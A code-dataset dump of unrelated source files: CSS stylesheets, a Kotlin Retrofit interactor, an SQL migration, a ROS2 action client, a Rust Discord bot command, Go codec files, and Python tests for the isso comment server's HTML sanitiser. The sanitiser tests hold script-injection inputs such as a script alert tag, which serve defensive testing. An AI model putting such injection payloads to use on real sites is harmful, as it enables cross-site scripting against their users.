padding: 7px;
}
form textarea{
margin-top: 20px;
width: 98.0%;
}
form input:focus, textarea:focus{
background: rgba(255, 147, 0, 0.28);
border: transparent;
transform: scale(1.03);
}
form input[type=submit]{
font-weight: 300;
font-size: 1.6em;
padding: 0px;
outline: none;
}
/* ----------------
FOOTER SECTON
---------------- */
footer{
padding-top: 40px;
}
footer img{
border-radius: 50%;
}
footer img:hover{
transform: scale(0.8);
padding: 3px;
margin: -3.01px;
}
@media only screen and (min-width: 1000px){
#portfolio>div>div>p{
font-size: 2em;
}
}
@media only screen and (max-width: 600px){
header div{
padding-top: 30vw;
}
#whatWeDo div{
width: 100%;
width: 49%;
}
#portfolio>div>div>p{
font-size: 1.5em;
}
form input, form textarea{
width: 100%;
margin: 5px 0;
}
form input[type=submit]{
width: auto;
padding: 0 15%;
}
}
#aboutUs{
padding: 50px 10%;
}
#services{
background-image: url('../assets/backgrounds/s_image.jpg');
background-size: cover;
padding: 100px 15%;
color: white;
}
#portfolio p{
font-family: "sans-serif;
font-size: 1.1em;
line-height: 92%;
margin: 20% 5%;
padding: 5% 0;
overflow: hidden;
}
.success{
background: rgb(0, 194, 0);
color: white;
}
.error{
background: rgb(218, 0, 0);
color: white;
}
| 15.507853 | 61 | 0.613099 |
61e7f698d0599ca26059574e56f1ea4c06b98fbf
| 1,406 |
kt
|
Kotlin
|
app/src/main/java/com/neal786y/mvparchitecture/main/interactor/LocationInteractor.kt
|
neal786y/Lunching
|
69c201b439a2c7b12c1020fa213fa6a22988b886
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/neal786y/mvparchitecture/main/interactor/LocationInteractor.kt
|
neal786y/Lunching
|
69c201b439a2c7b12c1020fa213fa6a22988b886
|
[
"Apache-2.0"
] | null | null | null |
app/src/main/java/com/neal786y/mvparchitecture/main/interactor/LocationInteractor.kt
|
neal786y/Lunching
|
69c201b439a2c7b12c1020fa213fa6a22988b886
|
[
"Apache-2.0"
] | null | null | null |
package com.neal786y.mvparchitecture.main.interactor
import com.neal786y.mvparchitecture.base.Interactor
import com.neal786y.mvparchitecture.base.ResponseCallback
import com.neal786y.mvparchitecture.di.ApiInterface
import com.neal786y.mvparchitecture.main.pojo.zomato.search_locations.response.LocationResponseDto
import retrofit2.Call
import retrofit2.Callback
import retrofit2.Response
import retrofit2.Retrofit
import javax.inject.Inject
class LocationInteractor (var mRetrofit: Retrofit, var query: String) : Interactor<LocationResponseDto> {
var mLocationResponseCallback: ResponseCallback<LocationResponseDto>? = null
override fun run() {
val apiClient = mRetrofit.create<ApiInterface>(ApiInterface::class.java)
val call = apiClient.getLocations(query)
call.enqueue(object : Callback<LocationResponseDto> {
override fun onFailure(call: Call<LocationResponseDto>, t: Throwable) {
onError(t)
}
override fun onResponse(call: Call<LocationResponseDto>, response: Response<LocationResponseDto>) {
onSuccess(response.body() as LocationResponseDto)
}
})
}
override fun onSuccess(response: LocationResponseDto) {
mLocationResponseCallback?.onSuccess(response)
}
override fun onError(error: Any) {
mLocationResponseCallback?.onError(error)
}
}
| 34.292683 | 111 | 0.737553 |
8ac7dfc2594541784d3beaf2f88c51067c416a7e
| 253 |
sql
|
SQL
|
lancaster-petclinic/modules/core/db/update/hsql/20/200607-2-updatePetclinicVisit01.sql
|
web-devel/cuba-petclinic-product-customizations
|
14b666c94fa0a69c33ddd1cba249cb670ec58ac2
|
[
"Apache-2.0"
] | null | null | null |
lancaster-petclinic/modules/core/db/update/hsql/20/200607-2-updatePetclinicVisit01.sql
|
web-devel/cuba-petclinic-product-customizations
|
14b666c94fa0a69c33ddd1cba249cb670ec58ac2
|
[
"Apache-2.0"
] | null | null | null |
lancaster-petclinic/modules/core/db/update/hsql/20/200607-2-updatePetclinicVisit01.sql
|
web-devel/cuba-petclinic-product-customizations
|
14b666c94fa0a69c33ddd1cba249cb670ec58ac2
|
[
"Apache-2.0"
] | null | null | null |
alter table PETCLINIC_VISIT add constraint FK_PETCLINIC_VISIT_ON_TREATMENT_ROOM foreign key (TREATMENT_ROOM_ID) references LANCASTERPETCLINIC_TREATMENT_ROOM(ID);
create index IDX_PETCLINIC_VISIT_ON_TREATMENT_ROOM on PETCLINIC_VISIT (TREATMENT_ROOM_ID);
| 84.333333 | 161 | 0.901186 |
5c46f97eafa7a40e8183796c56279f72692cf78d
| 2,168 |
css
|
CSS
|
public/stylesheets/loginstyle.css
|
StormFireFox1/BubbleChat
|
ba3b707e253af088764f5caf9151397f6eedbf14
|
[
"MIT"
] | null | null | null |
public/stylesheets/loginstyle.css
|
StormFireFox1/BubbleChat
|
ba3b707e253af088764f5caf9151397f6eedbf14
|
[
"MIT"
] | 2 |
2018-07-30T20:03:12.000Z
|
2020-09-06T19:45:05.000Z
|
public/stylesheets/loginstyle.css
|
StormFireFox1/BubbleChat
|
ba3b707e253af088764f5caf9151397f6eedbf14
|
[
"MIT"
] | null | null | null |
@font-face {
font-family: 'Lato';
font-style: normal;
font-weight: 400;
src: local('Lato Regular'), local('Lato-Regular'), url(http://themes.googleusercontent.com/static/fonts/lato/v7/qIIYRU-oROkIk8vfvxw6QvesZW2xOQ-xsNqO47m55DA.woff) format('woff');
}
body {
background: #448ed3;
font-family: "Lato";
}
.wrap {
width: 334px;
height: auto;
margin: auto;
margin-top: 10%;
}
.avatar {
width: 100%;
margin: auto;
width: 85px;
border-radius: 100px;
height: 85px;
background: #448ed3;
position: relative;
bottom: -15px;
}
.avatar img {
width: 75px;
height: 75px;
border-radius: 100px;
margin: auto;
border: 3px solid #fff;
display: block;
}
.wrap input {
border: none;
background: #fff;
font-family: Lato;
font-weight: 700;
font-size: 22px;
display: block;
height: 80px;
outline: none;
width: calc(100% - 24px);
margin: auto;
padding: 6px 12px 6px 12px;
}
.bar {
margin-left:4%;
width: 92%;
height: 1px;
background: #fff;
}
.bar i {
width: 100%;
margin: auto;
height: 1px;
display: block;
background: #d1d1d1;
}
.wrap input[type="text"] {
border-radius: 7px 7px 0px 0px;
}
.wrap input[type="password"] {
border-radius: 0px 0px 7px 7px;
}
.wrap input[type="email"]
{
border-radius: 0px 0px 7px 7px;
}
.forgot_link {
color: #83afdf;
color: #83afdf;
text-decoration: none;
font-size: 21px;
position: relative;
left: 223px;
top: -56px;
}
.wrap button {
width: 100%;
border-radius: 7px;
background: #b6ee65;
text-decoration: center;
border: none;
color: #51771a;
margin-top: -5px;
padding-top: 14px;
padding-bottom: 14px;
outline: none;
font-size: 21px;
border-bottom: 3px solid #307d63;
cursor: pointer;
}
.navbar-brand {
transform: translateX(-50%);
left: 51%;
position: absolute;
}
.navbar-brand {
padding: 0px;
}
.navbar-brand>img {
height: 100%;
width: auto;
padding: 7px 14px;
}
.navbar{
background-image: linear-gradient(to right, #f4eba0 0%, #f4eba0 100%);}
| 17.344 | 181 | 0.601937 |
b2be278f644c23228acf1f8fcc520ef3e2a07fe5
| 2,846 |
py
|
Python
|
rclpy/actions/minimal_action_client/examples_rclpy_minimal_action_client/client_cancel.py
|
emersonknapp/examples
|
36522787da5de2a2ff322d8953e3ae4b8e8ee9e7
|
[
"Apache-2.0"
] | 1 |
2020-03-17T18:19:55.000Z
|
2020-03-17T18:19:55.000Z
|
rclpy/actions/minimal_action_client/examples_rclpy_minimal_action_client/client_cancel.py
|
emersonknapp/examples
|
36522787da5de2a2ff322d8953e3ae4b8e8ee9e7
|
[
"Apache-2.0"
] | null | null | null |
rclpy/actions/minimal_action_client/examples_rclpy_minimal_action_client/client_cancel.py
|
emersonknapp/examples
|
36522787da5de2a2ff322d8953e3ae4b8e8ee9e7
|
[
"Apache-2.0"
] | 1 |
2020-07-11T08:59:03.000Z
|
2020-07-11T08:59:03.000Z
|
# Copyright 2019 Open Source Robotics Foundation, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from action_msgs.msg import GoalStatus
from example_interfaces.action import Fibonacci
import rclpy
from rclpy.action import ActionClient
from rclpy.callback_groups import ReentrantCallbackGroup
from rclpy.node import Node
from rclpy.timer import WallTimer
class MinimalActionClient(Node):
def __init__(self):
super().__init__('minimal_action_client')
self._action_client = ActionClient(self, Fibonacci, 'fibonacci')
def cancel_done(self, future):
cancel_response = future.result()
if len(cancel_response.goals_canceling) > 0:
self.get_logger().info('Goal successfully canceled')
else:
self.get_logger().info('Goal failed to cancel')
rclpy.shutdown()
def goal_response_callback(self, future):
goal_handle = future.result()
if not goal_handle.accepted:
self.get_logger().info('Goal rejected :(')
return
self._goal_handle = goal_handle
self.get_logger().info('Goal accepted :)')
# Start a 2 second timer
self._timer = self.create_timer(2.0, self.timer_callback)
def feedback_callback(self, feedback):
self.get_logger().info('Received feedback: {0}'.format(feedback.feedback.sequence))
def timer_callback(self):
self.get_logger().info('Canceling goal')
# Cancel the goal
future = self._goal_handle.cancel_goal_async()
future.add_done_callback(self.cancel_done)
# Cancel the timer
self._timer.cancel()
def send_goal(self):
self.get_logger().info('Waiting for action server...')
self._action_client.wait_for_server()
goal_msg = Fibonacci.Goal()
goal_msg.order = 10
self.get_logger().info('Sending goal request...')
self._send_goal_future = self._action_client.send_goal_async(
goal_msg,
feedback_callback=self.feedback_callback)
self._send_goal_future.add_done_callback(self.goal_response_callback)
def main(args=None):
rclpy.init(args=args)
action_client = MinimalActionClient()
action_client.send_goal()
rclpy.spin(action_client)
action_client.destroy_node()
if __name__ == '__main__':
main()
| 29.957895 | 91 | 0.697119 |
9e2cfc56c1d339e7666cc41b04b4394f17dd1f6c
| 18,118 |
rs
|
Rust
|
src/commands/servers/details.rs
|
stvnksslr/dominions-5-status
|
538ba1fc984ec93ba9b50262009981ca5c74305f
|
[
"MIT"
] | 5 |
2018-01-11T14:25:21.000Z
|
2020-10-19T02:36:00.000Z
|
src/commands/servers/details.rs
|
stvnksslr/dominions-5-status
|
538ba1fc984ec93ba9b50262009981ca5c74305f
|
[
"MIT"
] | 51 |
2019-04-09T08:04:49.000Z
|
2021-11-02T19:25:38.000Z
|
src/commands/servers/details.rs
|
stvnksslr/dominions-5-status
|
538ba1fc984ec93ba9b50262009981ca5c74305f
|
[
"MIT"
] | 11 |
2018-02-06T15:22:32.000Z
|
2022-02-04T16:57:26.000Z
|
use crate::commands::servers::CommandResponse;
use crate::{
commands::servers::alias_from_arg_or_channel_name,
db::{DbConnection, DbConnectionKey},
model::{
enums::{NationStatus, SubmissionStatus},
game_data::GameData,
game_server::*,
game_state::*,
nation::{BotNationIdentifier, Nation},
player::Player,
},
server::get_game_data_async,
snek::{snek_details_async, SnekGameStatus},
DetailsCacheHandle,
};
use log::*;
use serenity::{
builder::CreateEmbed,
framework::standard::{Args, CommandError},
model::id::{ChannelId, UserId},
prelude::Context,
};
use std::{collections::HashMap, sync::Arc};
pub async fn details(
context: &Context,
channel_id: ChannelId,
_user_id: UserId,
mut args: Args,
) -> Result<CommandResponse, CommandError> {
// TODO: It's a bit weird to pass the arc here and use it elsewhere
let data_handle = DetailsCacheHandle(Arc::clone(&context.data));
let db_conn = {
let data = context.data.read().await;
data.get::<DbConnectionKey>()
.ok_or("No DbConnection was created on startup. This is a bug.")?
.clone()
};
let alias = alias_from_arg_or_channel_name(context, channel_id, &mut args).await?;
if !args.is_empty() {
return Err(CommandError::from(
"Too many arguments. TIP: spaces in arguments need to be quoted \"like this\"",
));
}
let embed_response = details_helper(&alias, db_conn, data_handle, context).await?;
Ok(CommandResponse::Embed(embed_response))
}
pub async fn get_details_for_alias(
db_conn: DbConnection,
alias: &str,
) -> Result<GameDetails, CommandError> {
let server = db_conn.game_for_alias(&alias)?;
info!("got server details");
let details = match server.state {
GameServerState::Lobby(ref lobby_state) => lobby_details(db_conn, lobby_state, &alias)?,
GameServerState::StartedState(ref started_state, ref option_lobby_state) => {
started_details(db_conn, started_state, option_lobby_state.as_ref(), &alias).await?
}
};
Ok(details)
}
async fn started_details(
db_conn: DbConnection,
started_state: &StartedState,
option_lobby_state: Option<&LobbyState>,
alias: &str,
) -> Result<GameDetails, CommandError> {
let server_address = &started_state.address;
let game_data = get_game_data_async(&server_address).await?;
let option_snek_details = snek_details_async(server_address).await?;
started_details_from_server(
db_conn,
started_state,
option_lobby_state,
alias,
&game_data,
option_snek_details.as_ref(),
)
}
async fn details_helper(
alias: &str,
db_conn: DbConnection,
read_handle: DetailsCacheHandle,
context: &Context,
) -> Result<CreateEmbed, CommandError> {
let server = db_conn.game_for_alias(&alias)?;
match &server.state {
GameServerState::Lobby(lobby_state) => {
let details: GameDetails = lobby_details(db_conn, lobby_state, alias)?;
let embed: CreateEmbed = details_to_embed(details, context).await?;
Ok(embed)
}
GameServerState::StartedState(started_state, option_lobby_state) => {
let cache = read_handle.get_clone(alias).await?;
let CacheEntry {
game_data,
option_snek_state,
} = cache;
let details: GameDetails = started_details_from_server(
db_conn,
started_state,
option_lobby_state.as_ref(),
alias,
&game_data,
option_snek_state.as_ref(),
)?;
let embed: CreateEmbed = details_to_embed(details, context).await?;
Ok(embed)
}
}
}
pub fn lobby_details(
db_conn: DbConnection,
lobby_state: &LobbyState,
alias: &str,
) -> Result<GameDetails, CommandError> {
let players_nations = db_conn.players_with_nations_for_game_alias(&alias)?;
let mut player_nation_details: Vec<LobbyPlayer> = players_nations
.into_iter()
.map(|(player, nation_identifier)| {
let name = nation_identifier.name(None);
LobbyPlayer {
player_id: player.discord_user_id,
nation_identifier,
cached_name: name,
}
})
.collect();
player_nation_details.sort_by(|n1, n2| n1.cached_name.cmp(&n2.cached_name));
let remaining_slots = std::cmp::max(
0,
(lobby_state.player_count - player_nation_details.len() as i32) as u32,
);
let lobby_details = LobbyDetails {
players: player_nation_details,
era: Some(lobby_state.era),
remaining_slots,
};
Ok(GameDetails {
alias: alias.to_owned(),
owner: Some(lobby_state.owner),
description: lobby_state.description.clone(),
nations: NationDetails::Lobby(lobby_details),
cache_entry: None, // lobbies have no cache entry
})
}
/// Takes data from the three possible sources, and matches them together until we know
/// 1) who is in the game and the bot's record
/// 2) who is in the game but not the bot
/// 3) who is NOT in the game but is in the bot
fn join_players_with_nations(
// from game
nations: &[Nation],
// from db
players_nations: &[(Player, BotNationIdentifier)],
) -> Result<Vec<PotentialPlayer>, CommandError> {
let mut potential_players = vec![];
// Any players registered in the bot with a number go here
let mut players_by_nation_id = HashMap::new();
for (player, nation_identifier) in players_nations {
if let Some(nation_id) = nation_identifier.id() {
players_by_nation_id.insert(nation_id, (player, nation_identifier));
} else {
// The nation_identifier has no ID so it's a custom name so it's bot only
potential_players.push(PotentialPlayer::RegisteredOnly(
player.discord_user_id,
nation_identifier.clone(),
));
}
}
for nation in nations {
match players_by_nation_id.remove(&nation.identifier.id()) {
// Lobby and game
Some((player, _)) => {
let player_details = PlayerDetails {
nation_identifier: nation.identifier.clone(),
submitted: nation.submitted,
player_status: nation.status,
};
potential_players.push(PotentialPlayer::RegisteredAndGame(
player.discord_user_id,
player_details,
))
}
// Game only
None => potential_players.push(PotentialPlayer::GameOnly(PlayerDetails {
nation_identifier: nation.identifier.clone(),
submitted: nation.submitted,
player_status: nation.status,
})),
}
}
// Lobby only RegisteredOnly(UserId, BotNationIdentifier),
for (_, (player, bot_nation_identifier)) in players_by_nation_id {
potential_players.push(PotentialPlayer::RegisteredOnly(
player.discord_user_id,
bot_nation_identifier.clone(),
));
}
Ok(potential_players)
}
pub fn started_details_from_server(
db_conn: DbConnection,
started_state: &StartedState,
option_lobby_state: Option<&LobbyState>,
alias: &str,
game_data: &GameData,
option_snek_details: Option<&SnekGameStatus>,
) -> Result<GameDetails, CommandError> {
let id_player_nations = db_conn.players_with_nations_for_game_alias(&alias)?;
let player_details = join_players_with_nations(&game_data.nations[..], &id_player_nations[..])?;
let state_details = if game_data.turn < 0 {
let uploaded_players_detail: Vec<UploadingPlayer> = player_details
.into_iter()
.map(|potential_player_detail| {
match potential_player_detail {
potential_player @ PotentialPlayer::GameOnly(_) => {
UploadingPlayer {
potential_player,
uploaded: true, // all players we can see have uploaded
}
}
potential_player @ PotentialPlayer::RegisteredAndGame(_, _) => {
UploadingPlayer {
potential_player,
uploaded: true, // all players we can see have uploaded
}
}
potential_player @ PotentialPlayer::RegisteredOnly(_, _) => {
UploadingPlayer {
potential_player,
uploaded: false, // all players we can't see have not uploaded
}
}
}
})
.collect();
StartedStateDetails::Uploading(UploadingState {
uploading_players: uploaded_players_detail,
})
} else {
let total_mins_remaining = game_data.turn_timer / (1000 * 60);
let hours_remaining = total_mins_remaining / 60;
let mins_remaining = total_mins_remaining - hours_remaining * 60;
StartedStateDetails::Playing(PlayingState {
players: player_details,
mins_remaining,
hours_remaining,
turn: game_data.turn as u32, // game_data >= 0 checked above
})
};
let started_details = StartedDetails {
address: started_state.address.clone(),
game_name: game_data.game_name.clone(),
state: state_details,
};
Ok(GameDetails {
alias: alias.to_owned(),
owner: option_lobby_state.map(|lobby_state| lobby_state.owner),
description: option_lobby_state.and_then(|lobby_state| lobby_state.description.clone()),
nations: NationDetails::Started(started_details),
cache_entry: Some(CacheEntry {
game_data: game_data.clone(),
option_snek_state: option_snek_details.cloned(),
}),
})
}
async fn details_to_embed(
details: GameDetails,
context: &Context,
) -> Result<CreateEmbed, CommandError> {
let option_snek_state = details
.cache_entry
.and_then(|cache_entry| cache_entry.option_snek_state);
let mut e = match details.nations {
NationDetails::Started(started_details) => {
match &started_details.state {
StartedStateDetails::Playing(playing_state) => {
let embed_title = format!(
"{} ({}): turn {}, {}h {}m remaining",
started_details.game_name,
started_details.address,
playing_state.turn,
playing_state.hours_remaining,
playing_state.mins_remaining
);
// we can't have too many players per embed it's real annoying
let mut embed_texts = vec![];
for (ix, potential_player) in playing_state.players.iter().enumerate() {
let (option_user_id, player_details) = match potential_player {
// If the game has started and they're not in it, too bad
PotentialPlayer::RegisteredOnly(_, _) => continue,
PotentialPlayer::RegisteredAndGame(user_id, player_details) => {
(Some(user_id), player_details)
}
PotentialPlayer::GameOnly(player_details) => (None, player_details),
};
let player_name = if let NationStatus::Human = player_details.player_status
{
match option_user_id {
Some(user_id) => format!(
"**{}**",
user_id
.to_user((&context.cache, context.http.as_ref()))
.await?
),
None => player_details.player_status.show().to_owned(),
}
} else {
player_details.player_status.show().to_owned()
};
let submission_symbol = if player_details.player_status.is_human() {
player_details.submitted.show().to_owned()
} else {
SubmissionStatus::Submitted.show().to_owned()
};
if ix % 20 == 0 {
embed_texts.push(String::new());
}
let new_len = embed_texts.len();
embed_texts[new_len - 1].push_str(&format!(
"`{}` {}: {}\n",
submission_symbol,
player_details
.nation_identifier
.name(option_snek_state.as_ref()),
player_name,
));
}
// This is pretty hacky
let mut e = CreateEmbed::default();
e.title("Details")
.field(embed_title, embed_texts[0].clone(), false);
for embed_text in &embed_texts[1..] {
e.field("-----", embed_text, false);
}
e
}
StartedStateDetails::Uploading(uploading_state) => {
let embed_title = format!(
"{} ({}): Pretender uploading",
started_details.game_name, started_details.address,
);
let mut embed_texts = vec![];
for (ix, uploading_player) in
uploading_state.uploading_players.iter().enumerate()
{
let player_name = match uploading_player.option_player_id() {
Some(user_id) => format!(
"**{}**",
user_id
.to_user((&context.cache, context.http.as_ref()))
.await?
),
None => NationStatus::Human.show().to_owned(),
};
let player_submitted_status = if uploading_player.uploaded {
SubmissionStatus::Submitted.show()
} else {
SubmissionStatus::NotSubmitted.show()
};
if ix % 20 == 0 {
embed_texts.push(String::new());
}
let new_len = embed_texts.len();
embed_texts[new_len - 1].push_str(&format!(
"`{}` {}: {}\n",
player_submitted_status,
uploading_player.nation_name(option_snek_state.as_ref()),
player_name,
));
}
// This is pretty hacky
let mut e = CreateEmbed::default();
e.title("Details")
.field(embed_title, embed_texts[0].clone(), false);
for embed_text in &embed_texts[1..] {
e.field("-----", embed_text, false);
}
e
}
}
}
NationDetails::Lobby(lobby_details) => {
let embed_title = match lobby_details.era {
Some(era) => format!("{} ({} Lobby)", details.alias, era),
None => format!("{} (Lobby)", details.alias),
};
let mut embed_texts = vec![];
if !lobby_details.players.is_empty() {
for (ix, lobby_player) in lobby_details.players.iter().enumerate() {
let discord_user = lobby_player
.player_id
.to_user((&context.cache, context.http.as_ref()))
.await?;
if ix % 20 == 0 {
embed_texts.push(String::new());
}
let new_len = embed_texts.len();
embed_texts[new_len - 1]
.push_str(&format!("{}: {}\n", lobby_player.cached_name, discord_user,));
}
} else {
embed_texts.push(String::new());
}
// We don't increase the number of fields any more
let new_len = embed_texts.len();
for _ in 0..lobby_details.remaining_slots {
embed_texts[new_len - 1].push_str("OPEN\n");
}
// This is pretty hacky
let mut e = CreateEmbed::default();
e.title("Details")
.field(embed_title, embed_texts[0].clone(), false);
for embed_text in &embed_texts[1..] {
e.field("-----", embed_text, false);
}
e
}
};
if let Some(owner) = details.owner {
e.field(
"Owner",
owner
.to_user((&context.cache, context.http.as_ref()))
.await?
.to_string(),
false,
);
}
if let Some(description) = details.description {
if !description.is_empty() {
e.field("Description", description, false);
}
}
Ok(e)
}
| 38.143158 | 100 | 0.521305 |
f03d4c226a3b3aa190f45b9620b4a20bd1deafdc
| 2,296 |
py
|
Python
|
isso/tests/test_html.py
|
Nildeala/isso
|
661f2a68813e6ba5c234c9b84f440681712cdcef
|
[
"MIT"
] | 1 |
2017-08-24T21:10:01.000Z
|
2017-08-24T21:10:01.000Z
|
isso/tests/test_html.py
|
Nildeala/isso
|
661f2a68813e6ba5c234c9b84f440681712cdcef
|
[
"MIT"
] | null | null | null |
isso/tests/test_html.py
|
Nildeala/isso
|
661f2a68813e6ba5c234c9b84f440681712cdcef
|
[
"MIT"
] | null | null | null |
try:
import unittest2 as unittest
except ImportError:
import unittest
from isso.core import Config
from isso.utils import html
class TestHTML(unittest.TestCase):
def test_markdown(self):
convert = html.Markdown(extensions=())
examples = [
("*Ohai!*", "<p><em>Ohai!</em></p>"),
("<em>Hi</em>", "<p><em>Hi</em></p>"),
("http://example.org/", '<p>http://example.org/</p>')]
for (input, expected) in examples:
self.assertEqual(convert(input), expected)
def test_markdown_extensions(self):
convert = html.Markdown(extensions=("strikethrough", "superscript"))
examples = [
("~~strike~~ through", "<p><del>strike</del> through</p>"),
("sup^(script)", "<p>sup<sup>script</sup></p>")]
for (input, expected) in examples:
self.assertEqual(convert(input), expected)
@unittest.skipIf(html.html5lib_version == "0.95", "backport")
def test_sanitizer(self):
sanitizer = html.Sanitizer(elements=[], attributes=[])
examples = [
('Look: <img src="..." />', 'Look: '),
('<a href="http://example.org/">Ha</a>', '<a href="http://example.org/">Ha</a>'),
('<a href="sms:+1234567890">Ha</a>', '<a>Ha</a>'),
('<p style="visibility: hidden;">Test</p>', '<p>Test</p>'),
('<script>alert("Onoe")</script>', 'alert("Onoe")')]
for (input, expected) in examples:
self.assertEqual(html.sanitize(sanitizer, input), expected)
@unittest.skipIf(html.html5lib_version == "0.95", "backport")
def test_sanitizer_extensions(self):
sanitizer = html.Sanitizer(elements=["img"], attributes=["src"])
examples = [
('<img src="cat.gif" />', '<img src="cat.gif">'),
('<script src="doge.js"></script>', '')]
for (input, expected) in examples:
self.assertEqual(html.sanitize(sanitizer, input), expected)
def test_render(self):
conf = Config.load(None).section("markup")
renderer = html.Markup(conf).render
self.assertEqual(renderer("http://example.org/ and sms:+1234567890"),
'<p><a href="http://example.org/">http://example.org/</a> and sms:+1234567890</p>')
| 37.639344 | 108 | 0.562718 |
5f9ec263bbfe8a222244f746a2e19aaf5edfd220
| 342 |
h
|
C
|
Source/HardlightSDK/Public/ITimeline.h
|
HardlightVR/HL-UE4-plugin
|
68ec6c03b7e1dce0b135dd933affe29acd229e01
|
[
"MIT"
] | 1 |
2021-12-04T16:20:55.000Z
|
2021-12-04T16:20:55.000Z
|
Source/HardlightSDK/Public/ITimeline.h
|
HardlightVR/HL-UE4-plugin
|
68ec6c03b7e1dce0b135dd933affe29acd229e01
|
[
"MIT"
] | null | null | null |
Source/HardlightSDK/Public/ITimeline.h
|
HardlightVR/HL-UE4-plugin
|
68ec6c03b7e1dce0b135dd933affe29acd229e01
|
[
"MIT"
] | 1 |
2020-06-29T14:36:53.000Z
|
2020-06-29T14:36:53.000Z
|
#pragma once
//#include "CoreMinimal.h"
//#include "ITimelineEvent.h"
#include "Runtime/Core/Public/Templates/UniquePtr.h"
#include "IPlaybackHandle.h"
struct FBasicHapticEvent;
class ITimeline {
public:
virtual void Add(const FBasicHapticEvent& event) = 0;
virtual TUniquePtr<IPlaybackHandle> Transmit() = 0;
virtual ~ITimeline() {};
};
| 24.428571 | 54 | 0.75731 |
e3d5c78e7eea7c38d2eac01c26c71c4d9378a907
| 780 |
go
|
Go
|
models/model_snssai_route_selection_descriptor.go
|
5g-core/openapi
|
add2b1583bc4dda2a39bb47fde75f5d358fece05
|
[
"Apache-2.0"
] | null | null | null |
models/model_snssai_route_selection_descriptor.go
|
5g-core/openapi
|
add2b1583bc4dda2a39bb47fde75f5d358fece05
|
[
"Apache-2.0"
] | null | null | null |
models/model_snssai_route_selection_descriptor.go
|
5g-core/openapi
|
add2b1583bc4dda2a39bb47fde75f5d358fece05
|
[
"Apache-2.0"
] | null | null | null |
/*
* Nudr_DataRepository API OpenAPI file
*
* Unified Data Repository Service. © 2021, 3GPP Organizational Partners (ARIB, ATIS, CCSA, ETSI, TSDSI, TTA, TTC). All rights reserved.
*
* API version: 2.1.5
* Generated by: OpenAPI Generator (https://openapi-generator.tech)
*/
package models
import (
)
// SnssaiRouteSelectionDescriptor - Contains the route selector parameters (DNNs, PDU session types, SSC modes and ATSSS information) per SNSSAI
type SnssaiRouteSelectionDescriptor struct {
// simple type
Snssai Snssai `json:"snssai" yaml:"snssai" bson:"snssai" mapstructure:"Snssai"`
DnnRouteSelDescs *[]DnnRouteSelectionDescriptor `json:"dnnRouteSelDescs,omitempty" yaml:"dnnRouteSelDescs" bson:"dnnRouteSelDescs" mapstructure:"DnnRouteSelDescs"`
}
| 24.375 | 164 | 0.753846 |
e9068f5db1b348efe244dacf79f8214333cf8ec2
| 216 |
rb
|
Ruby
|
app/controllers/api_docs/candidate_api_docs/reference_controller.rb
|
EwanNoble/apply-for-teacher-training
|
d78a271e75f68bd409922a18409d9d4df00123da
|
[
"MIT"
] | 14 |
2020-07-27T16:42:35.000Z
|
2022-01-31T15:53:19.000Z
|
app/controllers/api_docs/candidate_api_docs/reference_controller.rb
|
EwanNoble/apply-for-teacher-training
|
d78a271e75f68bd409922a18409d9d4df00123da
|
[
"MIT"
] | 1,261 |
2020-06-23T11:34:41.000Z
|
2022-03-31T16:05:54.000Z
|
app/controllers/api_docs/candidate_api_docs/reference_controller.rb
|
EwanNoble/apply-for-teacher-training
|
d78a271e75f68bd409922a18409d9d4df00123da
|
[
"MIT"
] | 6 |
2020-08-17T10:27:41.000Z
|
2021-12-22T09:41:45.000Z
|
module APIDocs
module CandidateAPIDocs
class ReferenceController < APIDocsController
def reference
@api_reference = APIReference.new(CandidateAPISpecification.as_hash)
end
end
end
end
| 21.6 | 76 | 0.740741 |
dd3594ddcffff304ad5bfce073709e244836ee0f
| 1,591 |
go
|
Go
|
codec/length_prefix.go
|
muirglacier/aw
|
4245f85a37e6483f530da62354d27131d263334f
|
[
"MIT"
] | 36 |
2019-07-05T23:54:00.000Z
|
2022-03-17T10:07:56.000Z
|
codec/length_prefix.go
|
muirglacier/aw
|
4245f85a37e6483f530da62354d27131d263334f
|
[
"MIT"
] | 39 |
2019-07-29T07:15:06.000Z
|
2021-08-03T05:02:13.000Z
|
codec/length_prefix.go
|
muirglacier/aw
|
4245f85a37e6483f530da62354d27131d263334f
|
[
"MIT"
] | 8 |
2019-08-23T19:10:03.000Z
|
2021-12-10T06:54:07.000Z
|
package codec
import (
"encoding/binary"
"fmt"
"io"
)
// LengthPrefixEncoder returns an Encoder that prefixes all data with a uint32
// length. The returned Encoder wraps two other Encoders, one that is used to
// encode the length prefix, and one that is used to encode the actual data.
func LengthPrefixEncoder(prefixEnc Encoder, bodyEnc Encoder) Encoder {
return func(w io.Writer, buf []byte) (int, error) {
prefix := uint32(len(buf))
prefixBytes := [4]byte{}
binary.BigEndian.PutUint32(prefixBytes[:], prefix)
if _, err := prefixEnc(w, prefixBytes[:]); err != nil {
return 0, fmt.Errorf("encoding data length: %w", err)
}
n, err := bodyEnc(w, buf)
if err != nil {
return n, fmt.Errorf("encoding data: %w", err)
}
return n, nil
}
}
// LengthPrefixDecoder returns an Decoder that assumes all data is prefixed with
// a uint32 length. The returned Decoder wraps two other Decoders, one that is
// used to decode the length prefix, and one that is used to decode the actual
// data.
func LengthPrefixDecoder(prefixDec Decoder, bodyDec Decoder) Decoder {
return func(r io.Reader, buf []byte) (int, error) {
prefixBytes := [4]byte{}
if _, err := prefixDec(r, prefixBytes[:]); err != nil {
return 0, fmt.Errorf("decoding data length: %w", err)
}
prefix := binary.BigEndian.Uint32(prefixBytes[:])
if uint32(len(buf)) < prefix {
return 0, fmt.Errorf("decoding data length: expected %v, got %v", len(buf), prefix)
}
n, err := bodyDec(r, buf[:prefix])
if err != nil {
return n, fmt.Errorf("decoding data: %w", err)
}
return n, nil
}
}
| 32.469388 | 86 | 0.68259 |
0b315fffa65e76254a4a2c4b1c1acb767a73e70b
| 4,026 |
sql
|
SQL
|
migratieScripts/Indexes.sql
|
hanjoosten/csv2tables
|
67e91428cdf13a39e6634bcee79e1ee1eecb0125
|
[
"BSD-3-Clause"
] | null | null | null |
migratieScripts/Indexes.sql
|
hanjoosten/csv2tables
|
67e91428cdf13a39e6634bcee79e1ee1eecb0125
|
[
